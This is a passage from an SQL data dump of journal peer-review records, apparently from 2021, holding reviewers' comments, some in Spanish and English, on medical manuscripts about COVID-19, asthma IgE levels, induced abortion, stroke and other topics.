\r\n\r\nThe manuscript is in typical dissertations style, and hence not suitable for publication. Introductory details could be minimized for this manuscript and it concentrates only on the relevant portion on the impact of the Covid 19 Pandemic on a particular type of surgery, hospital stay, immediate complications and most importantly post-surgery Covid 19 infections if any, among the B group. Globally it is well known that various elective surgeries have been affected from 50- 90% compared to the pre- endemic period. The comparison of complications also appears to be premature, alternately the complications in the first year only should have been compared among both groups','The study methodology and result are fine. The submission looks like a copy of the dissertation submitted for partial fulfilment of the degree examination. This needs to be changed to the manuscript style. Acknowledgement, contents table and most of the introduction can be edited.','2021-07-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4081,15586,8513,NULL,'4','G','Y','Y','Y','Please expand the abstract.\r\nPlease add some images of the same cases, if possible, describing the histopathology of the leasion.\r\nThe report lacks figures/images of the studied case.\r\n','I made some suggestions.','2021-07-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4085,11689,9013,NULL,'6','g','y','y','y','Its an interesting article and i accepted to be published in this journal','','2021-07-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4088,11689,8766,NULL,'6','g','y','y','y','Immunoglobulin E antibodies are known for their role in allergy and asthma\r\nThe aim of this study is to assess total serum IgE level and associated factors among asthmatic patients at the University of Gondar Hospital in Ethiopia. These data support the role of IgE in asthmatics and Immunoglobulin E (IgE) is known to play a critical role in asthma pathogenesis and has also main function in immune response to parasites such as helminths. Author concluded that further study on specific IgE levels with total IgE levels and to determine cholesterol association with IgE and its clinical implications must be performed. Overall well written.','','2021-07-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4089,11689,8766,NULL,'6','g','y','y','y','Immunoglobulin E antibodies are known for their role in allergy and asthma.\r\nThe aim of this study is to assess total serum IgE level and associated factors among asthmatic patients at the University of Gondar Hospital in Ethiopia. These data support the role of IgE in asthmatics and Immunoglobulin E (IgE) is known to play a critical role in asthma pathogenesis and has also main function in immune response to parasites such as helminths. Author concluded that further study on specific IgE levels with total IgE levels and to determine cholesterol association with IgE and its clinical implications must be performed. Overall well written.','','2021-07-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4101,11689,9105,NULL,'5','g','y','y','y','The aim of this study was to assess induced abortion and its associated factors among reproductive age group women in Debre Markos Referral Hospital in Ethiopia.  The result of this study showed that the rate of induced abortion was relatively higher. Family planning utilization, unwanted pregnancy and recent illness in the last one month were significantly associated factors with induced abortion.\r\nIts a good article and i accepted to be published in this journal.','','2021-07-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4102,11689,9105,NULL,'5','g','y','y','y','The aim of this study was to assess induced abortion and its associated factors among reproductive age group women in Debre Markos Referral Hospital in Ethiopia.  The result of this study showed that the rate of induced abortion was relatively higher. Family planning utilization, unwanted pregnancy and recent illness in the last one month were significantly associated factors with induced abortion.\r\nIts a good article and i accepted to be published in this journal.','','2021-07-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4103,11689,9105,NULL,'5','g','y','y','y','The aim of this study was to assess induced abortion and its associated factors among reproductive age group women in Debre Markos Referral Hospital in Ethiopia.  The result of this study showed that the rate of induced abortion was relatively higher. Family planning utilization, unwanted pregnancy and recent illness in the last one month were significantly associated factors with induced abortion.\r\nIts a good article and i accepted to be published in this journal.','','2021-07-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4108,18593,9172,NULL,'1','G','N','Y','N','Dear Authors\r\nI would appreciate your attempt to write a manuscript even though it was not new idea and already done and published in your study area. I have seen your manuscript in detail the important variables were not included in your study. It is too sad to see your logistic regression analysis  result was wrong. Simply you can see your crude odds ratio results of your associated variables. so I recommend the authors to #re write the topics instead of \'\'cigarette smoking\'\' cigarette use disorder.   # re-write the objective # Review literature again in detail to include missed and the most important variables # needs to do again both descriptive and logistic regression analysis #  rework the manuscript again \r\nthanks','Dear Editor \r\nI would like to thank for your invitation to review. I reviewed the manuscript in detail, unfortunately all the logistic regression result was wrong. fore example COR of all variables which w discussed in the manuscript were wrong result. In addition the most important variables were not included in the manuscript.   So I recommend Authors to re-work the manuscript after doing detail literature review. \r\nWith best regards,\r\nDerebe M\r\nLecturer in Dilla university, Ethiopia\r\n','2021-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4110,18838,9251,NULL,'5','g','y','y','y','This article gives good information and adequent data.\r\nFigures are good and relevant to the content.\r\nAuthor had well described about the SARS-CoV-2 Post Vaccination Disease Infection Tracking: Breakthrough Cases in Pakistan.\r\nResults are appropriate and author elaborated about PCR and CRP at particular protocols. \r\nAuthor had observed it is expected that our findings may also help to pave down further guidelines regarding changing scenario of the pandemic..\r\nDefinetly i will accept this article to publish and also helps in future research.','','2021-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4111,11689,9112,NULL,'5','g','y','y','y','the aim of this review study is to tell about Emergency drugs are very essential in treating the patient in emergency and lifesaving conditions especially intensive care emergency procedures. In this study author incuded many drugs and their classification however there is no explaination. Author should rewrite the article according to me. ','','2021-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4112,18593,9171,NULL,'2','G','G','N','Y','Dear Authors\r\n\r\nFirst I would suggest to do the analysis again , because except one variable (knowledgeable) all other variables  COR is not true. Please first do both bivariable and multi variable logistic regression analysis. ','Dear Editor\r\nI suggest both bavariable and multi variable logistic regression needs to be done again because except one variable all other variables COR is wrong. I can review other sections after analysis has completed.Thanks in advance \r\nWith best regards\r\nDerebe M\r\n','2021-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4117,18830,9034,NULL,'5','g','y','y','y','\r\nThis article gives good information and adequate data.\r\nFigures and table are good and relevant to the content.\r\nAuthor had well described about the Cerebellar and Hypocampal Changes Induced by Lead in Wistar Rats: The Role of Ocimum gratissimium Leaves Extract.\r\nStatistical analysis and results are appropriate and author elaborated weights. \r\nAuthor had observed Wistar rats and induced histological changes ranging from degeneration of the nerve cells and distortion of the cellular layers of the cerebellum and hippocampus in the lead treated groups while the administration of Ocimum gratissimum extract showed alleviation and reduction of the effects induced by lead in the treated groups.\r\nDefinitely i will accept this article to publish and also helps in future research.\r\n','','2021-07-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4123,15826,9381,NULL,'1','g','n','y','n','thanks for this great work for papaer and great effort for patient in this case patient first + for dengue lots of time later + for covid  and complications occur after cpr. cov?d solely affect endotlium and cause vascular damage but in this patient vascular complications seems to be caused by hpoperfusion and MODS .in my opinion  this case   can be presented as complicated  dengue  not both of them because complications caused by hypoperfusion  not by endothlial damage by disease','thanks for this great work for papaer and great effort for patient in this case patient first + for dengue lots of time later + for covid  and complications occur after cpr. cov?d solely affect endotlium and cause vascular damage but in this patient vascular complications seems to be caused by hpoperfusion and MODS .in my opinion  this case   can be presented as complicated  dengue  not both of them because complications caused by hypoperfusion  not by endothlial damage by disease','2021-07-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4128,18913,9381,NULL,'5','R','Y','Y','Y','A Very interesting manuscript, follow-up, and issue rehabilitation could have been discussed','Very rare surgical intervention that deserves publication','2021-07-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4130,15222,8917,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Roles and Responsibilities of Tertiary-care Associated Urgent Care Centers: a Rapid Literature Review.\", please find my comments.\r\n\r\nI do agree that,A rapid review of the literature was conducted to understand best practices, and how similar centers function in other urban areas.\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    The reference sited are revelent with the content and accurate\r\n7. It can be accepted for publication without any changes, this study will definitely support the further studies.','the manuscript is good and accepted for publication.','2021-07-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4139,18838,8864,NULL,'5','g','y','y','y','\r\nThis article gives good information and adequate data.\r\nFigures and tables are good and relevant to the content.\r\nAuthor had well described about the Protective Role of Virgin Coconut Oil Against Adverse Effects of Atrazine Toxicity on Glucose and Oestradiol Metabolism in Male Wistar Rats.\r\nResults are appropriate and author elaborated about ATZ and VCO. \r\nAuthor had observed these observations suggest that Virgin Coconut Oil (VCO) probably possess an oestrogen stimulating effect or uses another pathway for stimulating oestrogen synthesis and release which could be attributed to its polyphenolic constituent or lauric acid content.\r\n I will accept this article to publish and also helps in future research.','','2021-07-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4142,10962,9303,NULL,'4','g','y','y','y','well writen manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2-(https://doi.org/10.1089/lrb.2020.0093) and (10.1111/tbj.14072. Epub 2020 Oct 10.) suggested studies for the references.','i will evaulate after revision','2021-07-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4145,18838,9409,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Hydrophilic Coatings for Biomedical Applications\r\nAuthor had observed step further and optimizing this surface so that it is, in the example, hemocompatible and tuning the properties of the coating towards a lower coefficient of friction with contact surface (the blood vessel) allows insertion of the device with considerably reduced force.\r\nDefinitely i will accept this article to publish and also helps in future research.','','2021-07-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4146,18838,9410,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the What is Research on Medicines Why it was Important to us?\r\nAuthor had observed It is capable of producing tolerance after a few doses and causing significant psychological and physical addiction.\r\nDefinitely i will accept this article to publish and also helps in future research.\r\n','','2021-07-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4147,12022,9340,NULL,'3','G','N','Y','N','ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOGÍA, MANIFESTACIONES, DIAGNÓSTICO Y TRATAMIENTO\r\n\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Comentarios generales: \r\nEn mi opinión el texto es excesivamente largo para una revista médica (debe recordarse que no se trata de un capítulo de un libro de texto). Aconsejo reducir su extensión.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados/Discusión y Conclusiones.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo, y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método.\"\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\nCEREBROVASCULAR ACCIDENT IN A YOUNG PATIENT: EPIDEMIOLOGY, MANIFESTATIONS, DIAGNOSIS AND TREATMENT\r\n\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-General comments:\r\nIn my opinion the text is excessively long for a medical journal (it must be remembered that it is not a chapter in a textbook). I advise reducing its extension.\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article, and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\nIs it a personal point of view?\r\nIs it based on an unsystematic or opportunistic search for information?\r\nIs it based on the author\'s experience?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-References:\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style.\r\n-Keywords:\r\nFor keywords, use terms equivalent to those from the Medical Subjects Headings (MeSH) list of the Index Medicus (available at https://meshb.nlm.nih.gov/search). The equivalence between the terms in Spanish (Descriptores en Ciencias de la Salud, DeCS) and the corresponding one in English of the MeSH can be consulted at http://decs.bvs.br/E/homepagee.htm','ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOGÍA, MANIFESTACIONES, DIAGNÓSTICO Y TRATAMIENTO\r\n\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Comentarios generales: \r\nEn mi opinión el texto es excesivamente largo para una revista médica (debe recordarse que no se trata de un capítulo de un libro de texto). Aconsejo reducir su extensión.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados/Discusión y Conclusiones.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo, y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método.\"\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\nCEREBROVASCULAR ACCIDENT IN A YOUNG PATIENT: EPIDEMIOLOGY, MANIFESTATIONS, DIAGNOSIS AND TREATMENT\r\n\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-General comments:\r\nIn my opinion the text is excessively long for a medical journal (it must be remembered that it is not a chapter in a textbook). I advise reducing its extension.\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article, and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\nIs it a personal point of view?\r\nIs it based on an unsystematic or opportunistic search for information?\r\nIs it based on the author\'s experience?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-References:\r\nJournal abbreviations must conform to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style.\r\n-Keywords:\r\nFor keywords, use terms equivalent to those from the Medical Subjects Headings (MeSH) list of the Index Medicus (available at https://meshb.nlm.nih.gov/search). The equivalence between the terms in Spanish (Descriptores en Ciencias de la Salud, DeCS) and the corresponding one in English of the MeSH can be consulted at http://decs.bvs.br/E/homepagee.htm','2021-07-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4150,18830,9408,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Career as a Biomedical Scientist and Why it was Important?\r\nAuthor had observed This means that the laboratory work must be performed to the highest possible standards,that the correct specimen type from the right patient.\r\nDefinitely i will accept this article to publish and also helps in future research.','','2021-07-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4156,11689,9160,NULL,'6','g','y','y','y','The novel coronavirus, severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2), has caused more than 1 million deaths in the first 6 months of the pandemic and huge economic and social upheaval internationally. An efficacious vaccine is essential to prevent further morbidity and mortality.\r\nThe purpose of this study is to explore different measures of vaccine effectiveness in terms of ratios and also through mathematical and statistical models.\r\nIn this Review, author has explore the challenges in assessing the efficacy of candidate SARS-CoV-2 vaccines, discuss the caveats needed to interpret reported efficacy endpoints, and provide insight into answering the seemingly simple question, “Does this COVID-19 vaccine work?”\r\nOverall the manuscript is well written','','2021-07-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4162,10963,9397,NULL,'2','g','y','y','n','The authors use morphometric analysis to differentiate oral submucous fibrosis (OSF) from initial to an advanced stage which may help in management strategies by preventing its progression to malignancy. The morphometric analysis of histopathological changes allow early intervention therapy as a key factor in managing potentially malignant lesions and conditions of oral submucous fibrosis. \r\nComments:\r\n1.	Please place an abstract in this manuscript.\r\n2.	A list of key words may be useful to this manuscript.\r\n3.	The figures and tables need to be cited in the text.\r\n4.	The figures and tables need figure numbers with legends.\r\n5.	The results section is very poorly written and text need to be inserted in this section and the results outlined. \r\n6.	It may appear that parts of the results section may have been placed in the discussion section an an appropriate discussion section prepared.\r\n','','2021-07-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4164,18830,9411,NULL,'5','g','y','y','y','\r\nThis article gives adequate data.\r\nAuthor had observed Some cells are constantly replenished throughout an individual life as a result of cell division, e.g epithelial life are constantly sloughed off as a result of wear and tear and must be replenished by the division of stem cells and their differentiation.\r\nDefinitely i will accept this article to publish and also helps in future research.\r\n','','2021-07-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4165,11689,9233,NULL,'5','g','y','y','y','Guillain–Barré syndrome (GBS) is a rare, but potentially fatal, immune-mediated disease of the peripheral nerves and nerve roots that is usually triggered by infections. Diagnosis and management of GBS can be complicated as its clinical presentation and disease course are heterogeneous, and no international clinical guidelines are currently available. \r\nThe aim shows a rare case of guillain barre syndrome vs myasthenia gravis and SARS-CoV-2 infection. In this article young adult woman with GBS is presented.\r\nThe step-by-step design was used to focus attention on the most important issues in GBS and to make the guideline easy to use in clinical practice. Overall well written','','2021-07-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4167,17878,8239,NULL,'5','r','y','y','y','The manuscript idea is of great importance. It consist mainly Cybersecurity in Diabetic Contraptions with Boosted EHO Optimization. Diabetes contraptions are progressively associated remotely to one another and to information showing peruser gadgets. Dangers to the precise progression of data and orders may bargain the capacity of these devices and put their clients in danger of wellbeing complexities. Sound cybersecurity of associated diabetes gadgets is important to look after secrecy, trustworthiness, what\'s more, accessibility of the information and orders. Diabetes gadgets can be hacked by unapproved specialists and furthermore by patients themselves to remove information that are not naturally given side-effect programming. Unapproved access to associated diabetes gadgets has been reenacted and could occur as a general rule. A cybersecurity standard structured explicitly with a boosted EHO(Elephant Herd Optimization) for associated diabetes contraptions will improve the wellbeing of these items and increment certainty of clients that the items will be secure. I must give assurance for publication of this article.','The manuscript idea is of great importance. It consist mainly Cybersecurity in Diabetic Contraptions with Boosted EHO Optimization. Diabetes contraptions are progressively associated remotely to one another and to information showing peruser gadgets. Dangers to the precise progression of data and orders may bargain the capacity of these devices and put their clients in danger of wellbeing complexities. Sound cybersecurity of associated diabetes gadgets is important to look after secrecy, trustworthiness, what\'s more, accessibility of the information and orders. Diabetes gadgets can be hacked by unapproved specialists and furthermore by patients themselves to remove information that are not naturally given side-effect programming. Unapproved access to associated diabetes gadgets has been reenacted and could occur as a general rule. A cybersecurity standard structured explicitly with a boosted EHO(Elephant Herd Optimization) for associated diabetes contraptions will improve the wellbeing of these items and increment certainty of clients that the items will be secure. I must give assurance for publication of this article.','2021-07-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4175,15586,9210,NULL,'4','G','Y','Y','Y','Please highlight the aim in the abstract.\r\nPlease expand the introduction.\r\nPlease provide the number and date of the ethical approval.\r\nPlease do not repeat the numbers in the results section.\r\n\r\n','I made some suggestions above. ','2021-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4179,18838,9537,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Bi medical Therapy of Drugs Sciences.\r\nAuthor had observed The Cognitive treatment addictions bunch is a gathering treatment approach that has its fundamental psychological social treatment a functioning semi organized way to deal with treatment that spotlights on foundation.\r\nDefinitely i will accept this article to publish and also helps in future research.','','2021-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4180,16023,9650,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Portrayal of Health informatics and applications\", please find my comments.\r\n\r\nI do agree that,Clinical informatics is the intersection point of information science, computer programming, and clinical benefits.\r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6.  It can be accepted for publication without any changes, this study will definitely support the further studies.','The Manuscript is good and accepted for publication.','2021-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4181,18830,9580,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had observed biomedicine is for the most part thought to have no inclination on account of the evidence based practices, Gaines and Davis-Floyd (2004) highlight that biomedicine itself has a social reason and this is because biomedicine reflects the principles and potential gains of its producers.\r\nDefinitely i will accept this article to publish and also helps in future research.','','2021-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4186,16023,9651,NULL,'5','G','N','Y','Y','I reviewed the article entitled \"Editorial note on Women Health\", please find my comments.\r\n\r\nI do agree that,A supporting eating routine is the foundation of a strong lifestyle. Past weight decrease and upkeep, eating a sensible eating routine is basic to a woman\'s overall prosperity. \r\n\r\n3. The text is well arranged \r\n4. There are no grammatical errors in this article\r\n5. Pictorial representation added more value to this article \r\n6.  It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','','2021-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4188,18838,9665,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Route of Administration and Policy of Vaccination\r\nAuthor had observed There are many motives for this. For instance, someone who\'s vaccinated for influenza now no longer simplest protects themselves from the hazard of influenza, however concurrently additionally prevents themselves from infecting the ones round them. This ends in a more fit society, which permits people to be extra economically productive. \r\nDefinitely i will accept this article to publish and also helps in future research.','','2021-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4189,18830,9664,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nAuthor had well described about the Chemistry and Side Effects of Heroin \r\nAuthor had observed good prostration, fear, and sleepiness quickly following the administration, the eyes being sensitive, and scholars constrict, sizable salivation being produced in puppies, and a mild tendency to vomiting in a few cases, however no real nemesis. ','','2021-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4202,18592,9398,NULL,'4','g','y','y','y','Objective part should be a little bit modified. In methods the mechanism by which the procedure of study should be elaborated, it should be self-explanatory. Conclusion is weak, predictors should be added. \r\nVery short introduction, writing it should be elaborated as much as possible.\r\nThis manuscript has lacks many essential parts of manuscripts. Such as methodology, sampling techniques, data quality assurance, ethical consideration etc, in my consideration they should be added so as to give meaning.\r\nThis finding lacks discussion and it should be added for scientific community in summary method.\r\nReferences should be written in Harvard style.\r\nReferences must follow the guide lines of the Health science journal as well as style of references otherwise this is not complete refrencing.','','2021-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4204,12022,9641,NULL,'3','D','N','N','N','Tumor Miofibroblástico Inflamatorio del Hígado: Reporte de un Caso\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc. \r\n-Referencias:\r\nLas referencias están escritas en diferentes estilos. Aconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n\r\n\r\nInflammatory Myofibroblastic Tumor of the Liver: A Case Report\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages, or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. ','Tumor Miofibroblástico Inflamatorio del Hígado: Reporte de un Caso\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o “raro.” Creo que los autores deberían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una 